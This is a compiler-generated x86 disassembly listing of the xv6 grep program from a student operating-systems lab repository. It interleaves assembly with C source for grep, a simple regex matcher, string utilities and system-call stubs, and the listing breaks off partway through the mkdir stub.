] | null | null | null |
grep.asm
|
swu038/CS183lab2
|
b9c4db70ae1b36f4a6b7c26c0361d6728532d1cb
|
[
"MIT-0"
] | null | null | null |
_grep: file format elf32-i386
Disassembly of section .text:
00001000 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
1003: 83 ec 28 sub $0x28,%esp
int n, m;
char *p, *q;
m = 0;
1006: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){
100d: e9 bf 00 00 00 jmp 10d1 <grep+0xd1>
m += n;
1012: 8b 45 e8 mov -0x18(%ebp),%eax
1015: 01 45 ec add %eax,-0x14(%ebp)
p = buf;
1018: c7 45 f0 20 1f 00 00 movl $0x1f20,-0x10(%ebp)
while((q = strchr(p, '\n')) != 0){
101f: eb 53 jmp 1074 <grep+0x74>
*q = 0;
1021: 8b 45 f4 mov -0xc(%ebp),%eax
1024: c6 00 00 movb $0x0,(%eax)
if(match(pattern, p)){
1027: 8b 45 f0 mov -0x10(%ebp),%eax
102a: 89 44 24 04 mov %eax,0x4(%esp)
102e: 8b 45 08 mov 0x8(%ebp),%eax
1031: 89 04 24 mov %eax,(%esp)
1034: e8 b1 01 00 00 call 11ea <match>
1039: 85 c0 test %eax,%eax
103b: 74 2e je 106b <grep+0x6b>
*q = '\n';
103d: 8b 45 f4 mov -0xc(%ebp),%eax
1040: c6 00 0a movb $0xa,(%eax)
write(1, p, q+1 - p);
1043: 8b 45 f4 mov -0xc(%ebp),%eax
1046: 83 c0 01 add $0x1,%eax
1049: 89 c2 mov %eax,%edx
104b: 8b 45 f0 mov -0x10(%ebp),%eax
104e: 89 d1 mov %edx,%ecx
1050: 29 c1 sub %eax,%ecx
1052: 89 c8 mov %ecx,%eax
1054: 89 44 24 08 mov %eax,0x8(%esp)
1058: 8b 45 f0 mov -0x10(%ebp),%eax
105b: 89 44 24 04 mov %eax,0x4(%esp)
105f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1066: e8 69 05 00 00 call 15d4 <write>
}
p = q+1;
106b: 8b 45 f4 mov -0xc(%ebp),%eax
106e: 83 c0 01 add $0x1,%eax
1071: 89 45 f0 mov %eax,-0x10(%ebp)
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){
m += n;
p = buf;
while((q = strchr(p, '\n')) != 0){
1074: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
107b: 00
107c: 8b 45 f0 mov -0x10(%ebp),%eax
107f: 89 04 24 mov %eax,(%esp)
1082: e8 ab 03 00 00 call 1432 <strchr>
1087: 89 45 f4 mov %eax,-0xc(%ebp)
108a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
108e: 75 91 jne 1021 <grep+0x21>
*q = '\n';
write(1, p, q+1 - p);
}
p = q+1;
}
if(p == buf)
1090: 81 7d f0 20 1f 00 00 cmpl $0x1f20,-0x10(%ebp)
1097: 75 07 jne 10a0 <grep+0xa0>
m = 0;
1099: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
if(m > 0){
10a0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
10a4: 7e 2b jle 10d1 <grep+0xd1>
m -= p - buf;
10a6: ba 20 1f 00 00 mov $0x1f20,%edx
10ab: 8b 45 f0 mov -0x10(%ebp),%eax
10ae: 89 d1 mov %edx,%ecx
10b0: 29 c1 sub %eax,%ecx
10b2: 89 c8 mov %ecx,%eax
10b4: 01 45 ec add %eax,-0x14(%ebp)
memmove(buf, p, m);
10b7: 8b 45 ec mov -0x14(%ebp),%eax
10ba: 89 44 24 08 mov %eax,0x8(%esp)
10be: 8b 45 f0 mov -0x10(%ebp),%eax
10c1: 89 44 24 04 mov %eax,0x4(%esp)
10c5: c7 04 24 20 1f 00 00 movl $0x1f20,(%esp)
10cc: e8 9d 04 00 00 call 156e <memmove>
{
int n, m;
char *p, *q;
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){
10d1: 8b 45 ec mov -0x14(%ebp),%eax
10d4: ba 00 04 00 00 mov $0x400,%edx
10d9: 89 d1 mov %edx,%ecx
10db: 29 c1 sub %eax,%ecx
10dd: 89 c8 mov %ecx,%eax
10df: 8b 55 ec mov -0x14(%ebp),%edx
10e2: 81 c2 20 1f 00 00 add $0x1f20,%edx
10e8: 89 44 24 08 mov %eax,0x8(%esp)
10ec: 89 54 24 04 mov %edx,0x4(%esp)
10f0: 8b 45 0c mov 0xc(%ebp),%eax
10f3: 89 04 24 mov %eax,(%esp)
10f6: e8 d1 04 00 00 call 15cc <read>
10fb: 89 45 e8 mov %eax,-0x18(%ebp)
10fe: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1102: 0f 8f 0a ff ff ff jg 1012 <grep+0x12>
if(m > 0){
m -= p - buf;
memmove(buf, p, m);
}
}
}
1108: c9 leave
1109: c3 ret
0000110a <main>:
int
main(int argc, char *argv[])
{
110a: 55 push %ebp
110b: 89 e5 mov %esp,%ebp
110d: 83 e4 f0 and $0xfffffff0,%esp
1110: 83 ec 20 sub $0x20,%esp
int fd, i;
char *pattern;
if(argc <= 1){
1113: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
1117: 7f 19 jg 1132 <main+0x28>
printf(2, "usage: grep pattern [file ...]\n");
1119: c7 44 24 04 6c 1e 00 movl $0x1e6c,0x4(%esp)
1120: 00
1121: c7 04 24 02 00 00 00 movl $0x2,(%esp)
1128: e8 28 06 00 00 call 1755 <printf>
exit();
112d: e8 82 04 00 00 call 15b4 <exit>
}
pattern = argv[1];
1132: 8b 45 0c mov 0xc(%ebp),%eax
1135: 83 c0 04 add $0x4,%eax
1138: 8b 00 mov (%eax),%eax
113a: 89 44 24 1c mov %eax,0x1c(%esp)
if(argc <= 2){
113e: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
1142: 7f 19 jg 115d <main+0x53>
grep(pattern, 0);
1144: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
114b: 00
114c: 8b 44 24 1c mov 0x1c(%esp),%eax
1150: 89 04 24 mov %eax,(%esp)
1153: e8 a8 fe ff ff call 1000 <grep>
exit();
1158: e8 57 04 00 00 call 15b4 <exit>
}
for(i = 2; i < argc; i++){
115d: c7 44 24 18 02 00 00 movl $0x2,0x18(%esp)
1164: 00
1165: eb 75 jmp 11dc <main+0xd2>
if((fd = open(argv[i], 0)) < 0){
1167: 8b 44 24 18 mov 0x18(%esp),%eax
116b: c1 e0 02 shl $0x2,%eax
116e: 03 45 0c add 0xc(%ebp),%eax
1171: 8b 00 mov (%eax),%eax
1173: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
117a: 00
117b: 89 04 24 mov %eax,(%esp)
117e: e8 71 04 00 00 call 15f4 <open>
1183: 89 44 24 14 mov %eax,0x14(%esp)
1187: 83 7c 24 14 00 cmpl $0x0,0x14(%esp)
118c: 79 29 jns 11b7 <main+0xad>
printf(1, "grep: cannot open %s\n", argv[i]);
118e: 8b 44 24 18 mov 0x18(%esp),%eax
1192: c1 e0 02 shl $0x2,%eax
1195: 03 45 0c add 0xc(%ebp),%eax
1198: 8b 00 mov (%eax),%eax
119a: 89 44 24 08 mov %eax,0x8(%esp)
119e: c7 44 24 04 8c 1e 00 movl $0x1e8c,0x4(%esp)
11a5: 00
11a6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11ad: e8 a3 05 00 00 call 1755 <printf>
exit();
11b2: e8 fd 03 00 00 call 15b4 <exit>
}
grep(pattern, fd);
11b7: 8b 44 24 14 mov 0x14(%esp),%eax
11bb: 89 44 24 04 mov %eax,0x4(%esp)
11bf: 8b 44 24 1c mov 0x1c(%esp),%eax
11c3: 89 04 24 mov %eax,(%esp)
11c6: e8 35 fe ff ff call 1000 <grep>
close(fd);
11cb: 8b 44 24 14 mov 0x14(%esp),%eax
11cf: 89 04 24 mov %eax,(%esp)
11d2: e8 05 04 00 00 call 15dc <close>
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
11d7: 83 44 24 18 01 addl $0x1,0x18(%esp)
11dc: 8b 44 24 18 mov 0x18(%esp),%eax
11e0: 3b 45 08 cmp 0x8(%ebp),%eax
11e3: 7c 82 jl 1167 <main+0x5d>
exit();
}
grep(pattern, fd);
close(fd);
}
exit();
11e5: e8 ca 03 00 00 call 15b4 <exit>
000011ea <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
11ea: 55 push %ebp
11eb: 89 e5 mov %esp,%ebp
11ed: 83 ec 18 sub $0x18,%esp
if(re[0] == '^')
11f0: 8b 45 08 mov 0x8(%ebp),%eax
11f3: 0f b6 00 movzbl (%eax),%eax
11f6: 3c 5e cmp $0x5e,%al
11f8: 75 17 jne 1211 <match+0x27>
return matchhere(re+1, text);
11fa: 8b 45 08 mov 0x8(%ebp),%eax
11fd: 8d 50 01 lea 0x1(%eax),%edx
1200: 8b 45 0c mov 0xc(%ebp),%eax
1203: 89 44 24 04 mov %eax,0x4(%esp)
1207: 89 14 24 mov %edx,(%esp)
120a: e8 39 00 00 00 call 1248 <matchhere>
120f: eb 35 jmp 1246 <match+0x5c>
do{ // must look at empty string
if(matchhere(re, text))
1211: 8b 45 0c mov 0xc(%ebp),%eax
1214: 89 44 24 04 mov %eax,0x4(%esp)
1218: 8b 45 08 mov 0x8(%ebp),%eax
121b: 89 04 24 mov %eax,(%esp)
121e: e8 25 00 00 00 call 1248 <matchhere>
1223: 85 c0 test %eax,%eax
1225: 74 07 je 122e <match+0x44>
return 1;
1227: b8 01 00 00 00 mov $0x1,%eax
122c: eb 18 jmp 1246 <match+0x5c>
}while(*text++ != '\0');
122e: 8b 45 0c mov 0xc(%ebp),%eax
1231: 0f b6 00 movzbl (%eax),%eax
1234: 84 c0 test %al,%al
1236: 0f 95 c0 setne %al
1239: 83 45 0c 01 addl $0x1,0xc(%ebp)
123d: 84 c0 test %al,%al
123f: 75 d0 jne 1211 <match+0x27>
return 0;
1241: b8 00 00 00 00 mov $0x0,%eax
}
1246: c9 leave
1247: c3 ret
00001248 <matchhere>:
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
1248: 55 push %ebp
1249: 89 e5 mov %esp,%ebp
124b: 83 ec 18 sub $0x18,%esp
if(re[0] == '\0')
124e: 8b 45 08 mov 0x8(%ebp),%eax
1251: 0f b6 00 movzbl (%eax),%eax
1254: 84 c0 test %al,%al
1256: 75 0a jne 1262 <matchhere+0x1a>
return 1;
1258: b8 01 00 00 00 mov $0x1,%eax
125d: e9 9b 00 00 00 jmp 12fd <matchhere+0xb5>
if(re[1] == '*')
1262: 8b 45 08 mov 0x8(%ebp),%eax
1265: 83 c0 01 add $0x1,%eax
1268: 0f b6 00 movzbl (%eax),%eax
126b: 3c 2a cmp $0x2a,%al
126d: 75 24 jne 1293 <matchhere+0x4b>
return matchstar(re[0], re+2, text);
126f: 8b 45 08 mov 0x8(%ebp),%eax
1272: 8d 48 02 lea 0x2(%eax),%ecx
1275: 8b 45 08 mov 0x8(%ebp),%eax
1278: 0f b6 00 movzbl (%eax),%eax
127b: 0f be c0 movsbl %al,%eax
127e: 8b 55 0c mov 0xc(%ebp),%edx
1281: 89 54 24 08 mov %edx,0x8(%esp)
1285: 89 4c 24 04 mov %ecx,0x4(%esp)
1289: 89 04 24 mov %eax,(%esp)
128c: e8 6e 00 00 00 call 12ff <matchstar>
1291: eb 6a jmp 12fd <matchhere+0xb5>
if(re[0] == '$' && re[1] == '\0')
1293: 8b 45 08 mov 0x8(%ebp),%eax
1296: 0f b6 00 movzbl (%eax),%eax
1299: 3c 24 cmp $0x24,%al
129b: 75 1d jne 12ba <matchhere+0x72>
129d: 8b 45 08 mov 0x8(%ebp),%eax
12a0: 83 c0 01 add $0x1,%eax
12a3: 0f b6 00 movzbl (%eax),%eax
12a6: 84 c0 test %al,%al
12a8: 75 10 jne 12ba <matchhere+0x72>
return *text == '\0';
12aa: 8b 45 0c mov 0xc(%ebp),%eax
12ad: 0f b6 00 movzbl (%eax),%eax
12b0: 84 c0 test %al,%al
12b2: 0f 94 c0 sete %al
12b5: 0f b6 c0 movzbl %al,%eax
12b8: eb 43 jmp 12fd <matchhere+0xb5>
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
12ba: 8b 45 0c mov 0xc(%ebp),%eax
12bd: 0f b6 00 movzbl (%eax),%eax
12c0: 84 c0 test %al,%al
12c2: 74 34 je 12f8 <matchhere+0xb0>
12c4: 8b 45 08 mov 0x8(%ebp),%eax
12c7: 0f b6 00 movzbl (%eax),%eax
12ca: 3c 2e cmp $0x2e,%al
12cc: 74 10 je 12de <matchhere+0x96>
12ce: 8b 45 08 mov 0x8(%ebp),%eax
12d1: 0f b6 10 movzbl (%eax),%edx
12d4: 8b 45 0c mov 0xc(%ebp),%eax
12d7: 0f b6 00 movzbl (%eax),%eax
12da: 38 c2 cmp %al,%dl
12dc: 75 1a jne 12f8 <matchhere+0xb0>
return matchhere(re+1, text+1);
12de: 8b 45 0c mov 0xc(%ebp),%eax
12e1: 8d 50 01 lea 0x1(%eax),%edx
12e4: 8b 45 08 mov 0x8(%ebp),%eax
12e7: 83 c0 01 add $0x1,%eax
12ea: 89 54 24 04 mov %edx,0x4(%esp)
12ee: 89 04 24 mov %eax,(%esp)
12f1: e8 52 ff ff ff call 1248 <matchhere>
12f6: eb 05 jmp 12fd <matchhere+0xb5>
return 0;
12f8: b8 00 00 00 00 mov $0x0,%eax
}
12fd: c9 leave
12fe: c3 ret
000012ff <matchstar>:
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
12ff: 55 push %ebp
1300: 89 e5 mov %esp,%ebp
1302: 83 ec 18 sub $0x18,%esp
do{ // a * matches zero or more instances
if(matchhere(re, text))
1305: 8b 45 10 mov 0x10(%ebp),%eax
1308: 89 44 24 04 mov %eax,0x4(%esp)
130c: 8b 45 0c mov 0xc(%ebp),%eax
130f: 89 04 24 mov %eax,(%esp)
1312: e8 31 ff ff ff call 1248 <matchhere>
1317: 85 c0 test %eax,%eax
1319: 74 07 je 1322 <matchstar+0x23>
return 1;
131b: b8 01 00 00 00 mov $0x1,%eax
1320: eb 2c jmp 134e <matchstar+0x4f>
}while(*text!='\0' && (*text++==c || c=='.'));
1322: 8b 45 10 mov 0x10(%ebp),%eax
1325: 0f b6 00 movzbl (%eax),%eax
1328: 84 c0 test %al,%al
132a: 74 1d je 1349 <matchstar+0x4a>
132c: 8b 45 10 mov 0x10(%ebp),%eax
132f: 0f b6 00 movzbl (%eax),%eax
1332: 0f be c0 movsbl %al,%eax
1335: 3b 45 08 cmp 0x8(%ebp),%eax
1338: 0f 94 c0 sete %al
133b: 83 45 10 01 addl $0x1,0x10(%ebp)
133f: 84 c0 test %al,%al
1341: 75 c2 jne 1305 <matchstar+0x6>
1343: 83 7d 08 2e cmpl $0x2e,0x8(%ebp)
1347: 74 bc je 1305 <matchstar+0x6>
return 0;
1349: b8 00 00 00 00 mov $0x0,%eax
}
134e: c9 leave
134f: c3 ret
00001350 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1350: 55 push %ebp
1351: 89 e5 mov %esp,%ebp
1353: 57 push %edi
1354: 53 push %ebx
asm volatile("cld; rep stosb" :
1355: 8b 4d 08 mov 0x8(%ebp),%ecx
1358: 8b 55 10 mov 0x10(%ebp),%edx
135b: 8b 45 0c mov 0xc(%ebp),%eax
135e: 89 cb mov %ecx,%ebx
1360: 89 df mov %ebx,%edi
1362: 89 d1 mov %edx,%ecx
1364: fc cld
1365: f3 aa rep stos %al,%es:(%edi)
1367: 89 ca mov %ecx,%edx
1369: 89 fb mov %edi,%ebx
136b: 89 5d 08 mov %ebx,0x8(%ebp)
136e: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
1371: 5b pop %ebx
1372: 5f pop %edi
1373: 5d pop %ebp
1374: c3 ret
00001375 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1375: 55 push %ebp
1376: 89 e5 mov %esp,%ebp
1378: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
137b: 8b 45 08 mov 0x8(%ebp),%eax
137e: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
1381: 8b 45 0c mov 0xc(%ebp),%eax
1384: 0f b6 10 movzbl (%eax),%edx
1387: 8b 45 08 mov 0x8(%ebp),%eax
138a: 88 10 mov %dl,(%eax)
138c: 8b 45 08 mov 0x8(%ebp),%eax
138f: 0f b6 00 movzbl (%eax),%eax
1392: 84 c0 test %al,%al
1394: 0f 95 c0 setne %al
1397: 83 45 08 01 addl $0x1,0x8(%ebp)
139b: 83 45 0c 01 addl $0x1,0xc(%ebp)
139f: 84 c0 test %al,%al
13a1: 75 de jne 1381 <strcpy+0xc>
;
return os;
13a3: 8b 45 fc mov -0x4(%ebp),%eax
}
13a6: c9 leave
13a7: c3 ret
000013a8 <strcmp>:
int
strcmp(const char *p, const char *q)
{
13a8: 55 push %ebp
13a9: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
13ab: eb 08 jmp 13b5 <strcmp+0xd>
p++, q++;
13ad: 83 45 08 01 addl $0x1,0x8(%ebp)
13b1: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
13b5: 8b 45 08 mov 0x8(%ebp),%eax
13b8: 0f b6 00 movzbl (%eax),%eax
13bb: 84 c0 test %al,%al
13bd: 74 10 je 13cf <strcmp+0x27>
13bf: 8b 45 08 mov 0x8(%ebp),%eax
13c2: 0f b6 10 movzbl (%eax),%edx
13c5: 8b 45 0c mov 0xc(%ebp),%eax
13c8: 0f b6 00 movzbl (%eax),%eax
13cb: 38 c2 cmp %al,%dl
13cd: 74 de je 13ad <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
13cf: 8b 45 08 mov 0x8(%ebp),%eax
13d2: 0f b6 00 movzbl (%eax),%eax
13d5: 0f b6 d0 movzbl %al,%edx
13d8: 8b 45 0c mov 0xc(%ebp),%eax
13db: 0f b6 00 movzbl (%eax),%eax
13de: 0f b6 c0 movzbl %al,%eax
13e1: 89 d1 mov %edx,%ecx
13e3: 29 c1 sub %eax,%ecx
13e5: 89 c8 mov %ecx,%eax
}
13e7: 5d pop %ebp
13e8: c3 ret
000013e9 <strlen>:
uint
strlen(char *s)
{
13e9: 55 push %ebp
13ea: 89 e5 mov %esp,%ebp
13ec: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
13ef: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
13f6: eb 04 jmp 13fc <strlen+0x13>
13f8: 83 45 fc 01 addl $0x1,-0x4(%ebp)
13fc: 8b 45 fc mov -0x4(%ebp),%eax
13ff: 03 45 08 add 0x8(%ebp),%eax
1402: 0f b6 00 movzbl (%eax),%eax
1405: 84 c0 test %al,%al
1407: 75 ef jne 13f8 <strlen+0xf>
;
return n;
1409: 8b 45 fc mov -0x4(%ebp),%eax
}
140c: c9 leave
140d: c3 ret
0000140e <memset>:
void*
memset(void *dst, int c, uint n)
{
140e: 55 push %ebp
140f: 89 e5 mov %esp,%ebp
1411: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1414: 8b 45 10 mov 0x10(%ebp),%eax
1417: 89 44 24 08 mov %eax,0x8(%esp)
141b: 8b 45 0c mov 0xc(%ebp),%eax
141e: 89 44 24 04 mov %eax,0x4(%esp)
1422: 8b 45 08 mov 0x8(%ebp),%eax
1425: 89 04 24 mov %eax,(%esp)
1428: e8 23 ff ff ff call 1350 <stosb>
return dst;
142d: 8b 45 08 mov 0x8(%ebp),%eax
}
1430: c9 leave
1431: c3 ret
00001432 <strchr>:
char*
strchr(const char *s, char c)
{
1432: 55 push %ebp
1433: 89 e5 mov %esp,%ebp
1435: 83 ec 04 sub $0x4,%esp
1438: 8b 45 0c mov 0xc(%ebp),%eax
143b: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
143e: eb 14 jmp 1454 <strchr+0x22>
if(*s == c)
1440: 8b 45 08 mov 0x8(%ebp),%eax
1443: 0f b6 00 movzbl (%eax),%eax
1446: 3a 45 fc cmp -0x4(%ebp),%al
1449: 75 05 jne 1450 <strchr+0x1e>
return (char*)s;
144b: 8b 45 08 mov 0x8(%ebp),%eax
144e: eb 13 jmp 1463 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1450: 83 45 08 01 addl $0x1,0x8(%ebp)
1454: 8b 45 08 mov 0x8(%ebp),%eax
1457: 0f b6 00 movzbl (%eax),%eax
145a: 84 c0 test %al,%al
145c: 75 e2 jne 1440 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
145e: b8 00 00 00 00 mov $0x0,%eax
}
1463: c9 leave
1464: c3 ret
00001465 <gets>:
char*
gets(char *buf, int max)
{
1465: 55 push %ebp
1466: 89 e5 mov %esp,%ebp
1468: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
146b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
1472: eb 44 jmp 14b8 <gets+0x53>
cc = read(0, &c, 1);
1474: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
147b: 00
147c: 8d 45 ef lea -0x11(%ebp),%eax
147f: 89 44 24 04 mov %eax,0x4(%esp)
1483: c7 04 24 00 00 00 00 movl $0x0,(%esp)
148a: e8 3d 01 00 00 call 15cc <read>
148f: 89 45 f4 mov %eax,-0xc(%ebp)
if(cc < 1)
1492: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1496: 7e 2d jle 14c5 <gets+0x60>
break;
buf[i++] = c;
1498: 8b 45 f0 mov -0x10(%ebp),%eax
149b: 03 45 08 add 0x8(%ebp),%eax
149e: 0f b6 55 ef movzbl -0x11(%ebp),%edx
14a2: 88 10 mov %dl,(%eax)
14a4: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(c == '\n' || c == '\r')
14a8: 0f b6 45 ef movzbl -0x11(%ebp),%eax
14ac: 3c 0a cmp $0xa,%al
14ae: 74 16 je 14c6 <gets+0x61>
14b0: 0f b6 45 ef movzbl -0x11(%ebp),%eax
14b4: 3c 0d cmp $0xd,%al
14b6: 74 0e je 14c6 <gets+0x61>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
14b8: 8b 45 f0 mov -0x10(%ebp),%eax
14bb: 83 c0 01 add $0x1,%eax
14be: 3b 45 0c cmp 0xc(%ebp),%eax
14c1: 7c b1 jl 1474 <gets+0xf>
14c3: eb 01 jmp 14c6 <gets+0x61>
cc = read(0, &c, 1);
if(cc < 1)
break;
14c5: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
14c6: 8b 45 f0 mov -0x10(%ebp),%eax
14c9: 03 45 08 add 0x8(%ebp),%eax
14cc: c6 00 00 movb $0x0,(%eax)
return buf;
14cf: 8b 45 08 mov 0x8(%ebp),%eax
}
14d2: c9 leave
14d3: c3 ret
000014d4 <stat>:
int
stat(char *n, struct stat *st)
{
14d4: 55 push %ebp
14d5: 89 e5 mov %esp,%ebp
14d7: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
14da: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
14e1: 00
14e2: 8b 45 08 mov 0x8(%ebp),%eax
14e5: 89 04 24 mov %eax,(%esp)
14e8: e8 07 01 00 00 call 15f4 <open>
14ed: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0)
14f0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
14f4: 79 07 jns 14fd <stat+0x29>
return -1;
14f6: b8 ff ff ff ff mov $0xffffffff,%eax
14fb: eb 23 jmp 1520 <stat+0x4c>
r = fstat(fd, st);
14fd: 8b 45 0c mov 0xc(%ebp),%eax
1500: 89 44 24 04 mov %eax,0x4(%esp)
1504: 8b 45 f0 mov -0x10(%ebp),%eax
1507: 89 04 24 mov %eax,(%esp)
150a: e8 fd 00 00 00 call 160c <fstat>
150f: 89 45 f4 mov %eax,-0xc(%ebp)
close(fd);
1512: 8b 45 f0 mov -0x10(%ebp),%eax
1515: 89 04 24 mov %eax,(%esp)
1518: e8 bf 00 00 00 call 15dc <close>
return r;
151d: 8b 45 f4 mov -0xc(%ebp),%eax
}
1520: c9 leave
1521: c3 ret
00001522 <atoi>:
int
atoi(const char *s)
{
1522: 55 push %ebp
1523: 89 e5 mov %esp,%ebp
1525: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
1528: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
152f: eb 24 jmp 1555 <atoi+0x33>
n = n*10 + *s++ - '0';
1531: 8b 55 fc mov -0x4(%ebp),%edx
1534: 89 d0 mov %edx,%eax
1536: c1 e0 02 shl $0x2,%eax
1539: 01 d0 add %edx,%eax
153b: 01 c0 add %eax,%eax
153d: 89 c2 mov %eax,%edx
153f: 8b 45 08 mov 0x8(%ebp),%eax
1542: 0f b6 00 movzbl (%eax),%eax
1545: 0f be c0 movsbl %al,%eax
1548: 8d 04 02 lea (%edx,%eax,1),%eax
154b: 83 e8 30 sub $0x30,%eax
154e: 89 45 fc mov %eax,-0x4(%ebp)
1551: 83 45 08 01 addl $0x1,0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
1555: 8b 45 08 mov 0x8(%ebp),%eax
1558: 0f b6 00 movzbl (%eax),%eax
155b: 3c 2f cmp $0x2f,%al
155d: 7e 0a jle 1569 <atoi+0x47>
155f: 8b 45 08 mov 0x8(%ebp),%eax
1562: 0f b6 00 movzbl (%eax),%eax
1565: 3c 39 cmp $0x39,%al
1567: 7e c8 jle 1531 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
1569: 8b 45 fc mov -0x4(%ebp),%eax
}
156c: c9 leave
156d: c3 ret
0000156e <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
156e: 55 push %ebp
156f: 89 e5 mov %esp,%ebp
1571: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
1574: 8b 45 08 mov 0x8(%ebp),%eax
1577: 89 45 f8 mov %eax,-0x8(%ebp)
src = vsrc;
157a: 8b 45 0c mov 0xc(%ebp),%eax
157d: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0)
1580: eb 13 jmp 1595 <memmove+0x27>
*dst++ = *src++;
1582: 8b 45 fc mov -0x4(%ebp),%eax
1585: 0f b6 10 movzbl (%eax),%edx
1588: 8b 45 f8 mov -0x8(%ebp),%eax
158b: 88 10 mov %dl,(%eax)
158d: 83 45 f8 01 addl $0x1,-0x8(%ebp)
1591: 83 45 fc 01 addl $0x1,-0x4(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1595: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
1599: 0f 9f c0 setg %al
159c: 83 6d 10 01 subl $0x1,0x10(%ebp)
15a0: 84 c0 test %al,%al
15a2: 75 de jne 1582 <memmove+0x14>
*dst++ = *src++;
return vdst;
15a4: 8b 45 08 mov 0x8(%ebp),%eax
}
15a7: c9 leave
15a8: c3 ret
15a9: 90 nop
15aa: 90 nop
15ab: 90 nop
000015ac <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
15ac: b8 01 00 00 00 mov $0x1,%eax
15b1: cd 40 int $0x40
15b3: c3 ret
000015b4 <exit>:
SYSCALL(exit)
15b4: b8 02 00 00 00 mov $0x2,%eax
15b9: cd 40 int $0x40
15bb: c3 ret
000015bc <wait>:
SYSCALL(wait)
15bc: b8 03 00 00 00 mov $0x3,%eax
15c1: cd 40 int $0x40
15c3: c3 ret
000015c4 <pipe>:
SYSCALL(pipe)
15c4: b8 04 00 00 00 mov $0x4,%eax
15c9: cd 40 int $0x40
15cb: c3 ret
000015cc <read>:
SYSCALL(read)
15cc: b8 05 00 00 00 mov $0x5,%eax
15d1: cd 40 int $0x40
15d3: c3 ret
000015d4 <write>:
SYSCALL(write)
15d4: b8 10 00 00 00 mov $0x10,%eax
15d9: cd 40 int $0x40
15db: c3 ret
000015dc <close>:
SYSCALL(close)
15dc: b8 15 00 00 00 mov $0x15,%eax
15e1: cd 40 int $0x40
15e3: c3 ret
000015e4 <kill>:
SYSCALL(kill)
15e4: b8 06 00 00 00 mov $0x6,%eax
15e9: cd 40 int $0x40
15eb: c3 ret
000015ec <exec>:
SYSCALL(exec)
15ec: b8 07 00 00 00 mov $0x7,%eax
15f1: cd 40 int $0x40
15f3: c3 ret
000015f4 <open>:
SYSCALL(open)
15f4: b8 0f 00 00 00 mov $0xf,%eax
15f9: cd 40 int $0x40
15fb: c3 ret
000015fc <mknod>:
SYSCALL(mknod)
15fc: b8 11 00 00 00 mov $0x11,%eax
1601: cd 40 int $0x40
1603: c3 ret
00001604 <unlink>:
SYSCALL(unlink)
1604: b8 12 00 00 00 mov $0x12,%eax
1609: cd 40 int $0x40
160b: c3 ret
0000160c <fstat>:
SYSCALL(fstat)
160c: b8 08 00 00 00 mov $0x8,%eax
1611: cd 40 int $0x40
1613: c3 ret
00001614 <link>:
SYSCALL(link)
1614: b8 13 00 00 00 mov $0x13,%eax
1619: cd 40 int $0x40
161b: c3 ret
0000161c <mkdir>:
SYSCALL(mkdir)
